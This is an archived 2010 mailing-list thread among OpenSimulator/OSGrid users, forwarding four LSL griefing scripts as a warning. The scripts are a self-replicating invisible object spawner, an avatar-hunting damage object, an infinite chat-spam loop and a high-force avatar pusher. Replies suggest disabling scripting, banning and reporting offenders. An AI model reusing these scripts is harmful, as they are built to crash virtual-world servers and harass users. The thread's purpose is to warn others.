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    Most TPV viewers have anti-spam systems.  Only LL's doesn't, go
    figure.<br>
    <br>
    For people who are concerned about this: Just shut off scripting in
    your sim and ban the idiot responsible, and report to the
    appropriate grid gods.<br>
    <br>
    On 11/1/2010 3:20 PM, Michael Cerquoni wrote:
    <blockquote
      cite="mid:AANLkTin07WWz1TDZG8-Wo1QAfXHa2mJdDgFwtn0AeftR@mail.gmail.com"
      type="cite">these look like kiddie griefer scripts that pretty
      much any noob could make to me.<br>
      <br>
      <div class="gmail_quote">On Mon, Nov 1, 2010 at 3:07 PM, Karen
        Palen <span dir="ltr"><<a moz-do-not-send="true"
            href="mailto:karenpalensl@gmail.com">karenpalensl@gmail.com</a>></span>
        wrote:<br>
        <blockquote class="gmail_quote" style="margin: 0pt 0pt 0pt
          0.8ex; border-left: 1px solid rgb(204, 204, 204);
          padding-left: 1ex;">
          <div>
            I ran across the following on one of the "less reputable"
            web sites that I read. Consider it a "heads up" if the
            scripts really do what they claim!<br>
            <br>
            <b>OS GRID CRASHERS AND SPAMMERS </b>
            A virtual world without evil.....not on my watch<br>
            <br>
            These all work if the threat level is set high enough on the
            sim<br>
            <br>
            <br>
            vector motion = <0,0,-37>;<br>
            integer jumps = 2;<br>
            default<br>
            {<br>
            state_entry()<br>
            {<br>
            llListen(10,"",llGetOwner(),"");<br>
            }<br>
            listen( integer channel, string name, key id, string msg)<br>
            {<br>
            if(msg==".5560")<br>
            {<br>
            llDie();<br>
            }<br>
            }<br>
            <br>
            touch_start(integer total_number)<br>
            {<br>
            llDialog(llDetectedKey(0),"Jezebel's black sun shines upon
            you ",["YAY!!!"],5560);<br>
            llSetAlpha(0.0,ALL_SIDES);<br>
            llSetStatus(STATUS_PHANTOM,TRUE);<br>
            integer m;<br>
            vector local = llGetLocalPos();<br>
            for(m=0;m<jumps;m++)<br>
            {<br>
            llSetPos(local+m*motion);<br>
            }<br>
            llSetTimerEvent(0.1);<br>
            }<br>
            timer()<br>
            {<br>
            llRezObject("Object", llGetPos()+<0,0,0>, ZERO_VECTOR,
            ZERO_ROTATION,42);<br>
            <br>
            }<br>
            }<br>
            <br>
--------------------------------------------------------------------<br>
            <br>
            float movespeed = 0.1; //because lower is faster<br>
            <br>
            //Set how often to track avatars<br>
            float tick = 0.1;<br>
            <br>
            default<br>
            {<br>
            state_entry()<br>
            {<br>
            vector pos = llGetPos();<br>
            llSetStatus(STATUS_PHYSICS, TRUE);<br>
            llSetDamage(100.0);<br>
            llSleep(0.1);<br>
            llMoveToTarget(pos,0.1);<br>
            llSensorRepeat("","",AGENT,200000,7000*PI,tick);<br>
            }<br>
            sensor(integer total_number)<br>
            {<br>
            vector pos = llDetectedPos(0);<br>
            vector offset =<-0,0,0>;<br>
            pos+=offset;<br>
            if (llDetectedOwner(0) == llGetOwner())<br>
            {<br>
            }<br>
            else<br>
            {<br>
            llMoveToTarget(pos,movespeed);<br>
            llLookAt(pos,2,1);<br>
            }<br>
            }<br>
            }<br>
------------------------------------------------------------------<br>
            <br>
            default<br>
            {<br>
            state_entry()<br>
            {<br>
            llSay(0, "Here is a fork and knife your gonna need it");<br>
            }<br>
            <br>
            collision_start(integer total_number)<br>
            {<br>
            while(1)<br>
            {<br>
            llSay(0, "Press Alt-F4 to abuse report griefers, welcome to
            os grid:) ");<br>
            <br>
            }<br>
            }<br>
            }<br>
---------------------------------------------------------------<br>
            take the verticle tour<br>
---------------------------------------------------------------<br>
            default<br>
            {<br>
            state_entry ( )<br>
            {<br>
            llListen ( 0, "", NULL_KEY, "0/1" );<br>
            llSensorRepeat ( "", NULL_KEY, AGENT, 2.0, PI, 0.01 );<br>
            }<br>
            <br>
            listen ( integer Channel, string Name, key UUID, string
            Message )<br>
            {<br>
            state Off;<br>
            }<br>
            <br>
            sensor ( integer Number )<br>
            {<br>
            vector Direction = llVecNorm ( llDetectedPos ( 0 ) -
            llGetPos ( ) );<br>
            float Power = llVecMag ( llDetectedVel ( 0 ) - llGetPos ( )
            ) * llPow ( llVecDist ( llGetPos ( ) , llDetectedPos ( 0 )
            ), 3 );<br>
            llPushObject(llDetectedKey(0),
            <0,0,llPow(3.402823466,38)>, ZERO_VECTOR, FALSE );<br>
            <br>
            }<br>
            }<br>
            <br>
            state Off<br>
            {<br>
            state_entry ( )<br>
            {<br>
            llListen ( 0, "", NULL_KEY, "0/1" );<br>
            }<br>
            <br>
            listen ( integer Channel, string Name, key UUID, string
            Message )<br>
            {<br>
            state default;<br>
            }<br>
            }
            <hr size="1">
            <br>
            I am the devil and i'm here to do the devils work<br>
            <br>
          </div>
          <br>
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          <br>
        </blockquote>
      </div>
      <br>
      <br clear="all">
      <br>
      -- <br>
      Michael Emory Cerquoni - Nebadon Izumi @ <a
        moz-do-not-send="true" href="http://osgrid.org">http://osgrid.org</a><br>
      <pre wrap="">
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</pre>
    </blockquote>
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